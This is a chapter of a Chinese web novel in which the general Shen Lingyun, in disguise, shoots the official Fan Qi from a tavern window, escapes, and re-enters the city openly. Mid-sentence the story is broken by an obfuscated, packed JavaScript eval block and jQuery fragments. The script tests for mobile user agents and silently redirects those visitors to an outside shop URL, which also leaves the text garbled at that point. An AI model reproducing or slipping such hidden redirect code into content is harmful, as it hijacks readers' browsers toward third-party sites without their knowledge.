一早沈凌云带着人便往祈安城去,只是吩咐人护送肖亦安回营州,两人并未碰面。
沈凌云只带着十二先行,赶在闭城前进入祈安城。而刘丰伪装成她,慢悠悠赶路。几人风尘仆仆,随意入住了一家小客栈。
“你骑术倒是了得,我从未见过有男子能骑上一天马,还如你这般面不改色的。”沈凌云扯下包在头上的布,笑语盈盈地夸赞十二。
十二冷哼一声,挺直腰板往房间走去,步子却比平常迈的小些。沈凌云神色玩味,看着对方推开门,一脸冷酷地走进去。
她推开十二隔壁房间的门,迅速走到窗前。仔细打量大街上来来往往的行人,发现客栈对面有人一直在往这打量。她一进入祈安,就发现有人在盯着她和十二,并且一路跟到了这。
难道是范齐的人?对街那女子突然转移目光,往她这开着的窗户处看。沈凌云闪身,躲到一旁。
这祈安城风沙大,城中许多人蒙着面,她也算是入乡随俗,只在城门那将脸露出来。对方怎会这般快,便将她认出?
对方似乎与谁对上眼神,快步穿过街道,走入这家客栈。步伐矫健,一看就是练家子。
沈凌云突然灵光一现,她身边不还有一个人吗。如果不是跟着她,那就只能是跟着十二了。她走到门口,将耳朵贴在门上。果然没多久,一道有力的脚步声从她门前经过,旁边很快传一道开门声。
七镜阁的人!!
沈凌云靠着门,慢慢笑起来。
稍微整理了下,她开始在城中踩点,寻找最佳位置。最后锁定了家酒楼,靠近城门且距离合适。
“掌柜的,那间正对东街的厢房我定下了,就那间,明日我要与好友一聚,切记帮我留下,价钱不是问题。”沈凌云将一锭银子掷于桌上,神色飞扬。
“好的嘞,客官!!明日您无论何时来都成,保准给您留着。”
沈凌云点点头,满意离开。顺路拐进医馆,“大夫,我这骑了一天马,大腿根磨的生疼,给我拿点药膏。要见效快的,过几日还得出远门呢。”
大夫抬起头,倒也没像一般大夫那样刨根问底。转身打开身后的柜子,便把一盒包装精致的药膏拿来,一言不发地放在柜台上,眼神示意沈凌云给钱。
沈凌云扣扣搜搜拿出一丁点银子,示意对方不用找了。
这大夫掂量这点银子,“少了,我这药膏要五两银子。”
“五两?抢钱呢?这一小盒还没我手掌一半大,就要五两?”
“效果好,保准一天见效,童叟无欺。”大夫仰头,神情还带上几分倨傲。
沈凌云露出死亡微笑,“拿最便宜的来,这盒不要了。”
大夫一听这话,立即将沈凌云手中的药膏夺走,“行行行,我这就给你换一盒,但效果不太显著啊。我看你这女郎,穿着打扮也不像没钱的样子,怎么这么亏待自己。”
随后拿出另一盒包装堪称劣质的药膏,沈凌云一打开,一股刺鼻的香味袭来。她缓缓闭上眼睛,呼出一口气,立即把盖子盖上。
“行,就这盒,不用找了。”
回到客栈,天已经黑了。沈凌云上楼敲了敲十二的房门,过了会,门才从里头打开,十二发尾微湿,房中还有些许的水汽。他穿着里衣,披了件黑色外衣,脸旁微红,削弱了那张邪魅的脸的攻击性,有几分乖巧。
“今日骑了一日的马,瞧着你貌似有些不适。我便去医馆买了药膏,你可涂一涂。”沈凌云将盒子递出去,眼神真诚。
十二目光沉沉,他眼睛直直看着沈凌云那双眼睛,随后缓缓往下移,看着那盒药膏。但始终没有伸手将药膏接过去,只是看着,没有任何动作。
沈凌云轻轻笑了声,向前一步拉住他的手,将这药膏放入他手掌中,又将他的手指合拢。她的手就这样包着十二有些茧子的细手,两人目光交汇。
十二猛的后退一步,应激似的抽回手。一下子就将门关上,把沈凌云隔绝在外面。
她站在门外,缓缓垂下眼眸,手指还有对方的余温。那是一双与肖亦安有些不同的手,肖亦安虽说与嫡父有些矛盾,但到底是大家出身,手格外细腻。
十二则手指摸着有些粗糙,但胜在修长有型。
躺回床上,沈凌云的思绪回归到正事上。明日大约午时,范齐应该就能赶到祈安,刘丰大概也是那时候。
一早,沈凌云便将包袱里的东西拿出来。她的身量拔高了很多,如今再扮做男人过于违和,所以只能换一身装扮。她将脸化的更加粗犷,往肩上胸前加上些东西,鞋上垫了几层。
弄完这一切,就过了一个多时辰。踏出房门时,迎面撞上十二。
十二有些呆愣,“沈将军?”
沈凌云闻到他身上有股刺鼻的香味,她悄悄退后几步,离他远一些。“是我,我今日有要事,稍后你去退房,随意找个酒楼呆一呆。等刘丰等人到后,你再去找刘丰。”
说完立即往定好的酒楼走,大摇大摆地走进去。将手中提着的大刀放到桌上,“听说今日那沈将军就要到祈安,本小姐特意赶来一睹她的英姿。你们酒楼正对东街那厢房我要了,就是那间。”她往楼上指了指,正是昨天定下来的那间。
“动作快点,别耽误事。”她还继续假意催促。
“客官,那间昨日有位客人已经定下了,您看能不能换一间。旁边那厢房也能看到,虽说有些遮挡,但也不碍事的。”掌柜的微微弯下腰,态度格外诚恳。
“那也行吧,你开个酒楼也不容易,能看就行。”沈凌云声音粗犷,听着很凶狠。她将一锭银子扔给掌柜,“随便上几道菜就行,酒要最好的,快些送上来。”
她将木梯踩的吱吱作响,很快便来到二楼。往四周巡视一圈,这酒楼很一般,生意也算不上景气。今日客人也不是很多,大堂人多些,这二楼倒是没什么声响。
等小二将饭菜酒水都端上来后,沈凌云将其全部挥退。她将外衣脱下,将几杯酒洒在上面,放在一旁晾干。随意吃了些菜,喝了两杯酒,让脸上色。
等了大约一盏茶,她穿上外衣,走到门外,大声喊道:“小二,没酒了,再上些酒来。”
小二很快将一壶酒端上来。沈凌云堵在门口,伸手拿过托盘,“没事别上来打扰我,我这人一喝醉就爱打人,我不叫就别来烦。”说着将门一关。
等对方往楼下走后,她走到窗前往街上看。等了又大约一炷香的时间,街上开始骚动。她迅速往门口走去,外头没有动静,她闪身来到昨日定好的房间。
一支队伍缓缓走来,一位书生样貌的女子骑着匹马走在队伍的最前方。她直接朝对方射出两箭,第一箭有些偏差,第二箭则正中心脏。人群一下子慌乱起来,范齐从马上掉落,惊呼尖叫声此起彼伏。
沈凌云解下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038183|138015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袖箭,立即往楼下扔。随后返回房间,将桌上的酒杯扫落在地,拿起酒壶就踉踉跄跄地往楼下走。
“本小姐等了这么久,这沈将军还没到。不看了,浪费本小姐大好时光。”说着还往嘴里倒点酒,但脚步却一刻不慢。
在掌柜的目送下,沈凌云只用了不到两分钟的时间便离开酒楼。出了酒楼还刚好和匆忙赶到这捉拿刺客的范齐的人擦肩而过。
她穿过混乱躁动的人群,往城门外走。都乱做一锅粥,她趁机出了城。刘丰这时正在城外等着,沈凌云将身上的东西拿出,洗了把脸,换了身蓝色锦衣。
沈凌云翻身上马,等了一刻钟才带领队伍进入祈安城。宽肩窄腰的少年将军,一身蓝衣身骑骏马塌入城中,一下子吸引了所有人目光。
范齐这时候已经被抬走医治,街上刚恢复平静。沈凌云的到来就犹如,一颗巨石投入平静的湖面。
“出了何事?”她伏下身子,询问一旁的百姓。
一位守城士兵上前,“方才有刺客,沈将军务必小心。”
刺客就在你眼前,那两箭那般准,这范齐居然没当场丧命,也是命大,但估计也挺不了多久了。一个时辰?还是半个时辰呢?
“原来如此,刺客可有抓获?”
“还未抓获,那刺客射完两箭便不知所踪。”
沈凌云点头表示了解,随后便带领队伍找了个客栈落脚。这祈安城县令如今可谓是六神无主,范贞的嫡女在她这遇刺,如今性命垂危,这可如何是好。
但很快又发生了件事,让她更心惊胆战。
十二在范齐遇刺后,立刻就明白了沈凌云的用意。刘丰等人进城后,他立刻来到她们落脚的客栈。他猜测,刘丰伪装成沈三,而沈三这时候估计在躲避捉拿。
“‘沈将军’在哪?”他拉住一个士兵,问道。
“就在楼上最右边那房间,沈将军正在里头和刘…”
十二没等对方回答完,只听了半句便急匆匆上楼。
一脚把门踹开,“刘丰,沈三可有说她做完事后去哪?”他边走进去,边急切地问。
沈凌云正和刘丰商议完半夜的行动,十二就直接踹门走进来。这属实是把她惊到了,她没想到对方这么没素质,“你这么着急找我干什么?”
“沈…沈…”
刘丰离开后,沈凌云走近十二,牵住他的手,将其拉到椅子上。“你担心我?”她歪头看向对方。
十二默不作声,面无表情的样子有些凶。
“十二,你可知那肖清屿如今在哪?她跟着范齐来祈安城了吗?”沈凌云将椅子挪动,更靠近他。
十二低下头,“她也在。”
“那你可不可以帮我把她绑过来,在子时之前,可以吗?”沈凌云凑近十二,继续问。
气氛安静了一瞬,十二最终还是开口回应,“可以。”
“那可以再借我些人吗?我今晚有用。”她的手始终牵着十二,并未松开。
“我的人在这不多。”
“没关系,只有几个人也行,让她们去找刘丰就行。”沈凌云试探地将手搭到十二的肩上,但对方却站起身,往外头走了。
出门前只说了句,“可以。”
她没有说这是那四十几次任务中的一次,她方才那些请求也不是作为契主下达的命令。十二听出来了,他心知肚明,但他还是答应了。